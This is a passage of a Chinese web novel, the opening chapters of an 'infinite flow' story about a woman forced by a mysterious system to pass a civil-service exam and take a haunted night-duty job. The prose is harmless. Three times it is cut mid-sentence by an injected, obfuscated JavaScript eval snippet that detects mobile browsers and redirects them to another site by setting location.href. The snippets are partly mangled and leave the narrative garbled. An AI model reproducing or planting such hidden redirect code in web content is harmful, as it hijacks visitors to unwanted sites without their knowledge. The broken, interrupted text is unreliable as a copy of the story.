《世界逃生［无限］》 1. 新手世界1 “砰、砰、砰。” 三声沉重的敲击声在耳畔响起，她顺着那只在书桌上敲击的手往上看，黑衣黑裤的中年女性站在她的右上角，深深的皱纹如同刻进骨子里的严肃，锐利的目光透过黑框眼镜锁定在她的身上。 “请考生不要交头接耳。” 平静无澜的声线如设定好的程序般在触发特定事件后自动播放，平缓有力，在激起一片瞩目后依旧不急不慢地按着原有计划进行。 躁动并没有持续哪怕一刻钟，刚刚还在窥视异动的同学下一秒就因为中年女性的扫视低下头，如同惴惴不安的鹌鹑。 唯一大胆的也只有此刻被她针对的那个女孩子了。她看上去并不是那种桀骜不驯的样子，顺滑的长发散落在肩背，眉似柳梢，眼如月牙，肤如凝脂，温顺柔弱。 但是她此刻抬头望向中年女性的眼神却平静中带着挑衅：“对不起，老师。我第一次参加那么大型的考试，有些激动。” 一时之间，暗中观察的诸多考生都忍不住倒吸一口气。 这，这不是明摆着和那位监考老师对着干嘛。 虽然他们也是考生，但也不能昧着良心说这是一场多大型的考试。不说高考，就连普通高校的期末考试规模说不定都比这大。 就在他们以为她会被监考老师赶出考场时，却见那位中年女性只是将她那如鹰隼般锐利的目光平静地锁定在她身上，仿佛没有听见她的挑衅一般陈述：“这是我市今年第一次扩招，我能理解你们的心情。但我也需要你们记住，一旦被我发现谁没有老实答题，直接按照作弊处理，成绩作废。机会可贵，希望你们自己珍惜。” “好的，老师。”试探没有成功，只是看着乖巧的女生低下头，等待试卷下发。 苍绿色的破旧木桌左上角贴着考生信息： 姓名：林筱 报考职位：涵和街道办事处——值班（窗口）岗位。 准考证号：205506041598 突发事件解决，考场恢复应有的秩序，监考老师迈着毫无声音的步伐回到讲台边上，只留下林筱对着只有几支笔的桌面露出甜腻的笑容。 就在她被这位监考老师警告之前，考室的广播刚刚播放了考试需知，以及距离开考还有五分钟的温馨提醒。 可惜除了“请考生注意”和“距离开考还有五分钟”这几个字眼，林筱再也没能听到任何和这场考试内容相关的提醒，以至于她连接下来会考什么类型的题目都不知道。 这可怪不了她，谁让这间破教室的音响它自身就有问题。 破旧的音响总是会冒出刺耳的电流声，吵得人耳膜震动，经过一段时间的调试后逐渐出现清晰的人声，就比如刚开始那用着标准的普通话播报的考前提醒：［各位考生请注意，本次考试……］ 但一个正常的考试播报绝不会突然之间被另一个声音取代，尤其还是一个异常清晰堪比新闻联播的电子音所取代。 ［欢迎玩家加入职业模拟测试游戏，我是你们的监考官，系统5811。本游戏为天才科学家杰巅峰之作，专注穿梭三千世界为广大受众排忧解难，深受广大世界好评，现已升级为3.0版本。］ ［感应到来自玩家现实世界的需求，系统将自主选择合适的玩家参与本次模拟测试。本游戏一经开启，只有通关，没有中途退出，请玩家谨慎游戏。］ ［下面播报考生须知： 本游戏为职业模拟测试游戏。 玩家在每场游戏过程中需体验至少一种职业。每种职业难度不一，需玩家自行判断争取。 每场模拟测试，玩家唯一任务为完成最终选定职业的职业挑战。一旦接取挑战任务，视为确认当前职业为最终职业，不再做更改。 每场模拟测试时间以刚进入测试的系统提示时间为准，模拟测试时间截止而玩家未能完成任务，即视为玩家游戏失败。玩家提前出局亦视为游戏失败。 每场模拟测试游戏结束，系统将根据玩家职业选择、入职考试成绩及在岗表现评级与打分，积累指定分数后即可通关模拟游戏。 每场职业模拟游戏都暗藏最佳职业选择，当玩家成功打卡十个最佳职业后将提前结束模拟测试游戏。 每位玩家总计可有三次失败的机会，当第四次游戏失败后，玩家将失去现世的一切，包括生命。 更多规则请玩家自行探索，愿诸位拥有良好的游戏体验。］ 没有什么正规考试还带威胁恐吓的，除非本来就不是什么正经东西。 这是林筱听到这一大段话后的第一反应。 她看了眼周围的人。 没有人因为这个诡异的考生须知而露出奇怪的神色，也没有人发现广播里的内容被不知不觉地更换，这才觉得这件事似乎变得有趣了起来。 首先声明，她和这群考试的不是一伙的。 她平生最恨的也是这种循规蹈矩的生活，所以早早自行创业当个制定规则的人。 其次，她也从未报名过什么考试。 在她现有的记忆中，她此时应该在去往公司的路上。毕竟她的合伙人都已经开始喊她爸爸，她总归得去照顾一下她的儿子们。 最后，最有可能逼她走进正常普通人生活的父母也不会带她来到这种地方。 虽然他们是有这个能力打晕她，再将她送进考场，但肯定不会让她加入这么一个听上去就不正规的游戏。 听着就像只会画大饼的骗子打着浮夸的口号骗人入股。 她父母应该还没那么蠢。 在这个事件中，唯一奇怪的一点就只有周围人的反应。 这间考场的布置还算中规中矩，在座的考生也没有被骗到奇怪组织的狂热或恐惧，一个个紧张麻木，只是对考试的正常反应。 如果放开了想，其实还有一种带有神秘色彩的可能没有被她总结进去。 她穿越了，而那个广播就是专门为她一个人播放的。 所以说，现在这个状况才是真的有趣，她或许真的遇到千万分之一的概率事件了。 现在只是考前进场的时间，监考老师连密封袋都没有拆开，但整间教室就已经充斥着紧张的气氛。 为了防止这是有人和她开的大型玩笑，她左右前后地仔细观察邻座考生。 皮肤纹理自然，表情张弛有度，行为符合逻辑，普通考生。 她东张西望的不当行为也引起了监考老师的注意，得到了意料当中的警示。 从林筱睁眼开始，教室里就一直存在两名监考老师，只不过存在感并不强烈。 她们面无表情地站在讲台边，如出一辙的严肃面庞与深刻的法令纹，犹如一尊搬来的蜡像。 现在看来，她们的确不是雕像。 她们会在发现考生有异常行为时作出反应，真要说起来也可以算是机器人。 就在监考老师回到讲台后不久，提示发卷的铃声响起，她们拿起手中的密封袋展示并开启。 试卷下发，是常规的题目，看上去并没有难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073056|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度。 不过，她为什么要做这张试卷呢？ 就因为那个藏头露尾，不知道究竟是什么东西的系统？ 林筱看着眼前的试卷，拿起笔，对着音响有恃无恐地笑了笑，缓缓放下。 ［发现玩家有消极怠工情绪，第一次警告。 鉴于玩家初入游戏，特此发出提醒：本次测试限期两年。两年内玩家未能成功入职，则游戏失败，失败三次玩家将不复存在。请玩家不要做非游戏要求的不必要挣扎。］ 就在林筱把笔放下的那一瞬间，清晰流畅到如人声一般的电子音再次出现。 没有了广播声的掩盖，林筱能清晰的感觉到那个声音就是从她的脑子里传出来的。 电子芯片？ 她什么时候被做了移植电子芯片的手术了，现在科技背着她连跨三级飞速发展了？ 这么看来，似乎穿越就是那个唯一的答案了。 名字一样，那身体是一样的吗？ 她看着摊开摆在面前的双手，多年考试磨出的老茧依旧是熟悉的位置，就连指间的那颗痣都和记忆中的一模一样。 笔尖向下，穿过作为屏障的皮肤，一滴鲜血随着笔尖离去而溢出，夹杂着墨水的黑，浑浊的液体顺着肌肉的弧度下滑，在光滑的纸张上晕开。 无形的力量保护答题卡免受污染，本该对准它的血液在滴落的过程中偏移位置，来到了没有任何标记的试卷上。 是个活人，有痛觉。 监考老师也发现了这个考前就有小动作的考生此刻不仅没有认真答题，反而冒出一些莫名其妙的举动，不紧不慢地向着林筱走来。 同一时刻，系统感觉到了林筱不配合的决心，一股强烈的电流刺激瞬间贯穿她整个身体，从头到尾，麻木感席卷她的四肢肌肉，握在手中的笔再无支撑，“啪”地一声掉落在地面上。 身体的本能不容林筱不服输，她只能闷哼一声倒在桌子上，四肢末端不断抽搐，形似鸡爪。 “不准在考场内喧哗。” 不知道什么时候监考老师再次出现在她的身边，冷淡地看着还有些抽搐的林筱：“这是第二次警告，再有第三次你的成绩直接清零。” 监考老师弯下腰，捡起那只掉落在地上的笔，生硬地放入林筱的手中。 微弱的电流依旧在她体内流动，直到那只水性笔在监控老师的动作下被她抓在手中，一切的不适都在同一时间消失不见。 这是在展示自己的实力？ ［玩家请注意，本关卡为新手指导关卡，系统将全程陪伴玩家熟悉了解本游戏。请玩家跟随系统指引完成本关卡任务。］ ［为避免玩家错误理解系统引导，游戏将采取必要措施帮助玩家避开错误选项，请玩家及时改正。］ 必要措施？电击？ ［若玩家不听劝阻，系统也可根据玩家喜好调整措施方式。］ 调整方式？让她感受整套满清酷刑吗？ 林筱毫无畏惧地在脑海中与系统一问一答。 系统没有回应。 她笑了一下，犹如稚子初尝蜜糖，带着欣喜与好奇。 她似乎发现了这个系统的秘密，它并不能感知到她具体的想法，只是能推断出她的行为逻辑，或者是根据她的生物电流信号预判她的行为。 它并不是全能的神。 就算是神也没有关系，弑神听上去也挺有意思的。 她握笔如刀，一字一顿地在答题卡上写下自己的名字：林筱。 2. 新手世界2 “筱筱，你也太厉害了吧。”刚一出考场，一个扎着双马尾的女孩就从林筱身后扑了上来，亲昵地揽着她的手臂说道。 正午的阳光炽烈，室外没有多少阴凉遮蔽的地方，倒是将她们的影子映得清清楚楚。 也因此，林筱才能第一时间发现身后的动向。 “你也挖苦我？”虽然对方并不是她认识的人，但林筱仍旧抿唇笑了一下，顺着话茬说起来。 触感真实，如果这个女孩还能说出完善的关系网，至少也证明了自己值得那个什么系统费尽心思。 “哎呀，怎么会呢。”女孩脸上还有未曾消退的婴儿肥，肉嘟嘟地圆润可爱，声音都娇娇得似黏人的小猫，“我可是听说了，你今天和那个灭绝师太干上了，你可是太勇敢！” “还说不是，这不就在挖苦我。”林筱点了点女孩的额头，一副气鼓鼓的样子。 女孩笑倒在她的身上：“哎呀，别生气嘛。我也是第一次遇见你遇到这种情况，你可是我们培训班的招牌呢。” 培训班的招牌，这算是前情提要吗？ 林筱依旧笑着与她打闹，暗中却也套着女孩的话。 他们是在一个职业培训班认识的，因为姓氏相同品味相近结为朋友。林筱成绩优异，但并没有迫切的入职需求，林洛家庭条件优越，却十分渴望能够借这个机会逃离自己现有的生活环境。 在培训班时，林筱就常常辅导林洛功课，两人的关系也因此越来越亲昵。 这次是她们结课后遇到的第一个考试机会。林筱想着先来一次全真模拟测试就报了最难考的岗位，而林洛为了尽早逃离掌控欲强盛的父母则选择了一个冷门岗位。 如果林筱没有记错的话，她准考证上的岗位是值班。 值班这个名字听上去就没有什么技术含量，给人的第一反应就是看门的大爷。 没什么专业要求，也不需要多强的专业能力和沟通技巧，甚至还是不需要办理什么业务的窗口岗位，偏偏报考人数最多，录取分数最高。 这一听就像是给一些特殊人群开的后门岗位。但如果这个岗位是系统为她选择的，那就不应该是这么简单的理由了。 不如，就先考进去看看。 即使已经打定主意，林筱也只是浅笑着：“那就祝愿我们都有美好的未来。” “一定可以的！”林洛张开手臂拥抱太阳，对着林筱露出可爱的笑容。 * 她们参与的考试只有一场。 一个星期后，考试成绩公布，她毫无疑问地进入了面试名单。她选择区域的这个岗位只招一个人，面试比例3：1，而她是第二名。 另一边的林洛也顺利地进入了面试环节。 接下来她们只需要按照要求递交材料，等待面试时间地点的通知。 就在公示的这几天，林筱所在岗位的考试成绩第一被人举报学历造假，林筱顺位成为考试成绩第一名。 一个本土居民因为学历造假而被取消资格，而她这个里里外外都是假的人反而成功上位，可见系统制作的假材料的确厉害，可以经得住层层考验。 但自从成为这个第一名之后，稀奇古怪的事情就层出不穷。 她住的地方是短租的公寓，商住两用。附近又都是无法拆迁的老房子，有能力的人早就搬走了，所以一直以来都人烟稀少。 可就在她顺位成为第一名之后，那天早晨起来，她就看见门口的地毯上出现不明人士的脚印。 那个脚印断断续续，只能看出大致的形状。从大小上看，是一个女人或者孩子的可能性更大。 只是在门口的脚印并不算稀奇，所以最初林筱也只以为是哪个路过的人踩到的而已。但第二天，她发现她的大门被人动过。 来到陌生的环境，林筱也不是全无防备。 系统不是人，寻常的手段无法对它起作用。但只要是有实体的存在，它们必然会在这个世界留下痕迹。 所以她用的，也只是一个很简单的方法：将一根头发卡在门锁上。 当大门被打开，门锁缩回门内，这根头发就会掉落在地面。 所以当发现那根头发消失后，她就检查过这个几十平的房间。 玄关、客厅、厨房、卫生间、卧室，每一处空间都被她仔仔细细地搜查过。 本就狭小的屋内根本没有容纳一个人的空间，所以那个闯入她家中的人不可能还在这里。但如果有人在屋内行走，林筱并不觉得自己会感觉不到。 但除了客厅摆放证书的抽屉和之前有了细微的差别可以证明的确有人进来外，整个屋子看不出第二个人存在的痕迹。 再联想到系统的存在，林筱很难不怀疑这个世界有不科学的生物和他们生活在同一片天空这下。 时间的特殊，只有证书被翻找，这一切都指向她报考的岗位。有人，或者是有东西不想让她顺利获取这个岗位。 这让林筱对未来产生了更大的兴趣。 但那一天之后，这些动静却再也没发生过。就像是他们已经知道自己的目的被发现，所以悄悄变更了做法一样。 就在林筱以为再也遇不到他们的时候，考试前一天的夜晚，当林筱出门采购时，她再次遇到了危险。 离她家最近的超市在马路对面。平常这条路都没有什么车辆经过，可是在那个晚上，当她拎着一大袋零食来到斑马线前，却突然感觉到身后传来一股推力，将她推倒在马路上。 远处照来的远光灯光线足以闪瞎人眼，伴随着一声响亮的急刹车声音，司机带着酒意骂骂咧咧地走下车：“你们这些要钱不要命的碰瓷的，想死也别在我车前，信不信我真的把你压死！我告诉你，老子有病，老子杀人不用坐牢！” 这个知法犯法的司机还想上来踢打林筱，却被林筱避开，她镇定地拨打报警电话离开了现场。 现实中的人犯错可以有法律制裁，可不存在现实中的人该怎么对付呢？ 她很明确自己是被人推倒的，但她却没有看见那里有人。超市门口只有平坦的路面，没有人能瞬间找到一个足够隐蔽的角落，这再一次验证了她怀疑这个世界存在不科学生物的假想。 不过，也有可能是系统故意折磨她。 这几天系统很安分，就算林筱言语挑衅也没有一点反应。 比起安分，这更像是一种高高在上的漠视，它觉得林筱无法逃脱它的控制。 可是林筱她最爱这种颈椎受限低不了头的东西，尤其爱他们在自己最擅长的领域失败而产生的那种精神崩溃的绝望。 她很期待那一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073057|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 没有忘记系统可能时刻注意着她，林筱垂下眼，遮挡自己不同寻常的兴奋。 她安静地回到公寓，打开电视。端庄的女主持人讲解着明天的天气，底下的小字提醒广大民众夜晚不要出行。 明天，她翻出自己的通知，明天就是面试的时候。 * 生物钟准时将林筱唤醒。 准考证和身份证就放在她的床头柜上，没有挪动。厨房的用具也都在原本的位置，调料盖子没有翻动的痕迹。 那些东西居然没有在这么关键的时刻对她下手？还是说，昨天的那场意外就是它们最后的手段？ 林筱吃完手中的吐司，整理好临时小窝的一切，打车赶往考场。 她和林洛并不在同一考场。 他们面试的地方应该是这座城市稍有名气的中学，可以容纳百人的阶梯教室内是候场的考生。 和她选择一个岗位的其他两个人都是男生，年轻力壮，还带着初出茅庐的天真。 很快，就轮到她面试了。 她的面前有七名考官，西装革履，正襟危坐。一旁有核分人员和复核人员，两人也都是面无表情。而她的左前方，录像机正在工作。 桌面上有一张纸，上面只有两道题。 “各位考官，我准备好了。”林筱放下在草稿纸上胡乱涂鸦的笔，“第一道题，如何看待神鬼，我的答案是，不信。” 根据她最近几天的经历来看，值班这个岗位很有可能就是看守非科学生物的特殊岗位。既然系统说这是新手难度，也就意味着它的目的很可能就是要让他们这些所谓的玩家对付非科学生物。 可这个岗位向大众开放，考题内又涉及大量政治题。这就证明，如果想要拿下这个岗位，她就必须是个坚定的无神论者。 “第二个问题，当发现同事行为不恰当时，我会通知上级领导。” 行为不恰当，这是一个很好的提醒。这就是在暗示这些非科学生物会影响到一个正常人，所以这个岗位其实是一个高危岗。 他们想要招收那些不信鬼神、听话，又懂得装聋作哑的人，也会提前排除一些聪明人。通过题目的暗示，他们试图吓退那些看出些端疑的人。 可惜的是，她偏要迎难而上。 五分钟的考生汇报时间结束，中间那名不苟言笑的中年男子看着林筱，平淡地问了一句：“你的睡眠质量怎么样？” 睡眠质量？ 直觉告诉她，这个答案对这次面试的结果很重要。但这格格不入的问题也让她一时之间找不到思绪。 醒着，是为了更好地看守非科学生物。睡了，更符合他们招收无神论者的意图。但单从岗位需求上看，一个能多干活的员工应该比懒惰的员工更讨人喜欢吧。 右边的一位考官见多了这种情形，安抚地朝林筱笑了笑：“是这样的，这个岗位还涉及了夜班的安排，我们也是考虑岗位的适配性所以才问一下。和你的面试成绩没有关系，不用紧张，根据实际情况回答就行。” 黑黢黢的镜头依旧对着她，考官的视线与其说是看着她，倒不如说是透过她的眼睛看到摄像机的另一头。 林筱看着依旧工作着的摄像机，温和地笑道：“我睡眠质量很好，一般情况下都吵不醒我。” 3. 新手世界3 “人家考官都那么问了，你怎么还说你睡觉好。”就算看不到人，林筱也能从听筒感觉到另一边的林洛有多么恨铁不成钢，“算了算了。真是旱的旱死，涝的涝死，我恨不得对着考官喊爸爸，你就把考试当成玩一样，还那么容易就考上。” 如果林洛就在她面前，她就可以捏住她那圆嘟嘟的脸颊，看着她气愤却又打不着她的样子。 只可惜，林洛不在。 林筱按住自己蠢蠢欲动的手指，这才慢条斯理地开口：“考官说了，不影响成绩。” “人家就说说，你还真信了！”本来气都快消了的林洛顿时提高了音调，光听着声音就能想象出她站在林筱面前张牙舞爪的模样，“考场里每一句话都是有用意。这个问题绝对会对人员的录取产生很大影响，除了你，没人会那么天真得觉得真就不会影响成绩。” “可我觉得，在考场里考官的话不会有假啊，都有录像证据在。”林洛越是焦急，林筱就越是淡定。 果然，对面就传出林洛叽叽喳喳的声音。 和林洛的判断不同，林筱非常肯定她能入职。有了系统这个前提，又判断出他们筛选人的标准，她确定他们需要的就是一个会睡得毫无感知的人。 但这些东西就不适合告诉林洛了，拿来逗她却是恰当好处。 林筱听归听，但内容从不入耳。她只是觉得这个世界只有林洛最像一个活人，偶尔也要吸收一点属于人间的气息。 “林筱，你有没有在听我讲话！”许久都没等到林筱回应的林洛对着手机的另一端气鼓鼓地喊道。 “嗯，在听。你说。”林筱这个回应也是深得糊弄学精髓。 “你！”果然，听到这句话的林洛瞬间气炸，感觉自己的一片苦心都被喂了狼心肺，“不管你了，你自己开心就好。” “过程不重要，”小可爱生气了还是得哄一下的，“但我不也还是考上了吗？” 毕竟是自己的小伙伴，就算生气，林洛也没有生太久，顺着台阶就下来了，只不过声音还带了些不满，哼哼唧唧的：“那是你运气好。” “那是因为我有你这个幸运星。”只要林筱愿意，她也可以做到把人哄得服服帖帖的。 林洛又哼了一声，这才严肃地提醒林筱：“你和我说说没关系，但千万不要和别人说面试考题。我们考前签的协议里就包括面试的保密协议，如果被发现是要按照违反国家安全法来定罪的。” “我当然只会你和说。”林筱看着自己略显苍白的指甲，“怎么光说我，你明天不是也要入职了。” “嘿嘿，我这不就是太高兴了所以才来找你的嘛。”林洛元气满满的声音回荡在耳边，“那我不打扰你了，工作加油！” “好，正好也有人来找我了。” 挂断电话，林筱看着一名年纪轻轻的女性招呼她：“林筱是吗？来得那么早啊，我们办公室主任还没上班，我带你认认人。” “麻烦你了。”林筱一边道歉，一边观察着她未来工作的地方。 她考取的是涵和街道办事处的岗位。那边地理位置也算是市中心，不过附近都是古建筑，基本上没有住宅区，社区相关的业务相对会少一些。 林筱提前了十分钟来报道，办事处的门还没开。直到时间差不多了，工作人员才陆陆续续出现，也就注意到她这个陌生人。 入职名单已经在前几天公示在网上，林筱这张脸没那么容易被人遗忘。 她现在的身体和她在原本世界的身体没有区别，甚至在进行体检的时候也没有被发现异常。可以说，除了财富，这个世界的身体继承了她原本所有的能力。 在弱势的时候，她不介意出卖色相。 比起男性，女性更容易沉浸在同性的美貌之中。没过一会，这位同事就已经被林筱套出了他们办公室里面的大致情况。 街道办事处的办公室现在有四人。 办公室主任秦主任，一个正处于更年期的男人。每天为了一点小事吵个不停。 资历最老的王姐，每天上班打个卡，最常念叨的就是退休之后的生活。 最常和她打交道的就是张姐，之后带着林筱熟悉工作的也是张姐。 至于她自己，她姓钱，也是这几年新招进来的文员，平常的文书工作都是她负责的，每天累得跟狗一样。 办公室在二楼，路口右手边的第三间房。 带她上来的小钱刚一进去就被一个中年男人安排了好几个工作，只能坐在工位上对着林筱努了努嘴，暗示那位就是更年期老男人。 林筱借着站姿与坐姿的高度差异将这里的一切扫入眼中。 办公室就是寻常办公室的布局，那位秦主任的桌上堆满了文件夹，但都是已经处理完毕等待归案的文件。笔筒内的水性笔墨囊依旧显眼，一看就是没怎么写过字。 他右手边的中年女性正在查看一份文件，看上面的签名，她应该算最后的审批。 他左手边则是稍微年轻一点的女性，桌面上也堆满了文件。 至于最靠近门口的，就是小钱的工位，凌乱得几乎找不到空位。 秦主任看了眼林筱，眼神中多了微不可见的惋惜和不满。 这个情绪，林筱敏锐地捕捉到，不动声色地关注着这位秦主任的举动。 他看着像是一位知情人。 秦主任也没打算让林筱在这里杵着，招呼自己左手边的人：“小张，带一下她。” 站起来的就是那个四十岁左右的女子。长发挽起，鼻梁上架着一副金丝边框眼睛，眉间已显露出几分的皱纹令她看上去更加严肃。 就像学校里的教导主任。 她起身离开工位，带着林筱返回一楼。 在走楼梯的间隙，她也没有浪费时间。略微低哑的声音毫无波澜地介绍着值班的工作：“值班室在一楼，还有一个小男孩和你同一个岗位。他上午没有排班，但晚上你们就可以见面了。” “只有一个同事吗？”林筱规规矩矩地走在她的身后。 “对，这个岗位就批下来两个名额。”张姐对这里的路已经熟悉的不能再熟悉，就算闭着眼也能找到每一个房间，“前不久刚有一个人离职，所以我们就给上面的人提交了申请，这才出现你报考的名额。” 张姐突然停下脚步，推开一旁棕红色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073058|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木门：“这里就是值班室。” 值班室并不是保安室。 它位于街道办事处的办公楼内，是一楼大门靠右的一个房间。值班室分内外两个部分，外面是一张办公桌和台式电脑，而移动门帘后藏着一张上下铺的双人床，一个四开门的大衣柜，还有一个隐藏起来的洗浴间。 住宿条件齐全。 林筱看着内里的设施，在心中做出评价，夜班少不了。 “你的上班时间包含一个周末的晚班，做一休一。”领着林筱的张姐领她看了下贴在门后的排班表，“周一，周三，周五从早到晚，周六的晚上，一共十个班，夜班有额外100元的补助。如果这个时间安排你觉得不行的话，可以和你的同事协商，再和办公室王姐递交最终排班表就行。” 林筱点了点头，表明自己知道，并且没有异议。 “很多人听说有夜班就不想干了，但其实我们的夜班很轻松，”张姐扶了扶镜框，那张严肃的脸上生硬地挤出一个和善的笑容，“我们夜间不开放办公，只需要有人在值班室就行。也不需要熬夜，就是换个地方睡觉。” 果然，睡觉就是这个岗位面试的关键词。林筱依旧假装自己不知情，点头表现自己的乖巧顺从。 “虽然这个岗位在考察期间的要求最为严格，但实际做起来并不难，至少对你来说不难。” 张姐满意地笑了一下，带一个配合的新人显然也让她的活轻松不少，她的声音明显柔和了下来：“只要你遵守规章纪律，不做多余的事情，三个月的考察期还是很容易过的。但如果违反了相关纪律，哪怕你考试成绩在好，辞退也是一句话的事。” 她预估的不错，这个岗位面试就是想筛选出一批又聋又哑听话懂事的看门人。如果她想从这里获得游戏胜利的方法，就得逆着他们的规矩做事。 不过入职第一天，她就不去挑战他们的耐性了。 “每个部门的纪律会有些微不同，今天下午你的同事也会来，你可以咨询一下他。”张姐可能也觉得自己最后一句话说的有些重，补了一句，“这都是老生常谈的话了，基本上不会发生这种情况的，好歹外面的人也都称我们这工作铁饭碗。” 林筱依旧点了点头，维护自己好糊弄的形象：“我知道了。” “那行，你先自己熟悉一下办公环境，下午我让你同事带着你熟悉一遍。”张姐感觉说得也差不多了，也准备离开回办公室干自己的活，“那你有什么要问的吗？” “没有了。张姐你去忙好了，我先自己看看。”林筱客客气气地拒绝了张姐的陪同。 “那行，我先去忙，有事可以随时来办公室找我，或者找我们领导也行。”张姐想了想月末堆在办公室里的那一堆报表，也没推辞人家的好意离开了。 直到张姐回了办公室，她才突然想起忘记说工资待遇了。 试用期合同上的工资仅是她们工资中的一部分，还有一些隐形福利是正式工才能享有的。不过这个小姑娘估计也是有钱人家的孩子，图个安逸和好听的工作，不然这么重要的事情怎么会提都不提一嘴。 值班室内，林筱开始了自己的搜寻。 4. 新手世界4 唯一的办公桌干净整洁得过分，除了一台电脑，一个键盘，一鼠标垫和鼠标外，就没有其他东西。 毫无生活气息。 林筱将手放到电脑主机上，屏幕亮起，一个原始背景的桌面出现在她眼前。她挪动鼠标，点开桌面上唯一的文件夹。 手机系统自带的彩铃突然响起，打断了林筱的动作。 她拿出手机，第一眼就看到了那个来电人名称。她在这个世界的熟人只有林洛，所以这个电话当然也来自于林洛。 果然，电话一接通，林洛的声音就像个弹珠一样一刻不停地倾泻而出：“林筱你已经入职了吗？一想到我明天就要去办理入职手续，突然觉得好怕啊。你们那边怎么样，其他人好说话吗，都是板着脸的那种老古板吗？” 林筱看了眼近在咫尺的文件，默默退回到桌面，起身向着窗户走去：“大家都挺好相处的。都是打工人，没人会故意刁难你的。” “你就不会安慰安慰我嘛。”林洛再次像炸开毛的小鸟般叽叽喳喳，“我来找你是为了听这些大道理的吗，我就是想找你诉苦的！这时候，你应该对我说：洛洛不要怕，我会一直在你身后。” “你确定？”林筱挑了挑眉，一字不差地复述道，“洛洛不要怕，我会一直在你身后。” 林筱的声线并不清亮，比起寻常女性可以说是低哑，这一句话从她口中说出竟意外得缱绻。 林洛没有出声，但林筱不需要动脑就知道她肯定兴奋地都快蹦起来了。 她拿着手机站在窗口，等待林洛缓过神来。 涵和街道位于老城区，附近少不了古建筑。这个位置正好可以看见对面高耸的钟楼，重檐三滴水的建筑携带着厚重的历史感扑面而来。 “那你今天顺利吗？”缓过神来的林洛连声音都温柔了一些。 “入职倒还挺顺利的，就是还有夜班。这里的位置你也知道，小时候……”林筱看着不远处的钟楼，依旧隐约可见的古城墙与建筑，突然就有了一个猜测。 林洛在那头毫无所觉，自然而然地接话道：“原来你小时候也被家长用那些鬼故事恐吓过呀。什么午夜黑影啊，街头的无脸女啊，猫脸老太太之类的。对哦，你那边都是老建筑，附近又没什么人烟，一个人值夜班肯定会害怕的。” “午夜黑影？”林筱重复道。 这是一个在她的世界没有出现的都市异闻。 “这个你没听说过吗？”林洛惊讶地问了一声，但也没放在心上，反而更加兴奋地描述，“就是那个小时候父母吓小朋友睡觉的必备故事。听说在古建筑中，存在着一群黑影。每当午夜，它们就会在路上游荡。它披着黑披风，面部一片漆黑，看不见五官，只有一双全白的双眼。它的爪子像刀片一样锋利。它不会伤害睡着的人，但如果被它发现有人没睡觉，它就会——” “把你吃了。”听到林洛这故意拖长的声音，林筱没给她吓唬自己的机会，直接替她结束了故事。 “咦，你不是知道嘛。”见恶作剧失败，林洛悻悻道。 “还不是你说得太好，我一下子就想了起来。”林筱低笑了一声，“看来是我们祖籍不同，所以叫法也不一致。” “哦，那是有可能的，这个是我们本地人的叫法。我在大学也发现，虽然全国各地叫法不同，但都差不多有这么一个故事。果然自古以来，家长恐吓孩子都是那么一套。”林洛一点也没怀疑林筱说辞的真实性，还顺道吐槽了一句。 “一致的都让我怀疑是真实的了。”林筱看着钟楼附和。 “不过你既然怕恐怖故事，那干嘛报这个岗位啊？”手机的另一端，林洛依旧不停地说道，“所有值班岗位都在古建筑旁的街道办事处，你这挑的也太准了吧。” 猜测被再一次验证的林筱随口糊弄着林洛：“我只是随便报了一个历年分数线最高的岗位，也没想到居然真的能考上。” “你这个话被传出去得有多少人会想冲过来打你呀。”林洛在那边被凡尔赛地吱哇乱叫，“我都想过去打你，这也太招恨了吧。” “现在连真话都不能说了吗？”林筱表现出来的无辜多少有些嚣张。 “和你们这些天才没法聊天！”林洛再次气鼓鼓地挂断电话。 值班室内再次恢复了平静。 林筱低头看着窗外的绿化，水泥地上几只虫蚁搬运着远超出自身体积的米粒，稳稳地朝着巢穴走去。 蝼蚁亦敢与天相搏，她怎么能输给它们。不过是一个系统，等她找到这个所谓系统的运行规律，还怕拿捏不了它？ 一如她所猜想的，即使她生出这种对系统而言大逆不道的想法，它也没有出来警告她。这个系统对他们的控制权并没有那么大。 在找到系统的弱点前，她还需要确保自己活下来。就比如，通关这个测试游戏。 值班室的电脑依旧亮着，她反而不急着查找那个文件。她点开这个世界的搜索网站万度，打下三个字：古建筑。 出现在前面的都是一个个这个世界著名景点的介绍，林筱很快地将它们过掉。随着网页后翻，其他乱七八糟的言论也多了起来。 林筱倚靠在椅背上，一目十行扫了过去。 能在网上留存的，绝大多数都是一些废话。这些网友不是在夸，就是在嫌弃那些景点。偶尔遇到一个提到了值班这个职位的言论，也是在说它职责安排不明，事少钱多，养老圣地。 事少钱多？ 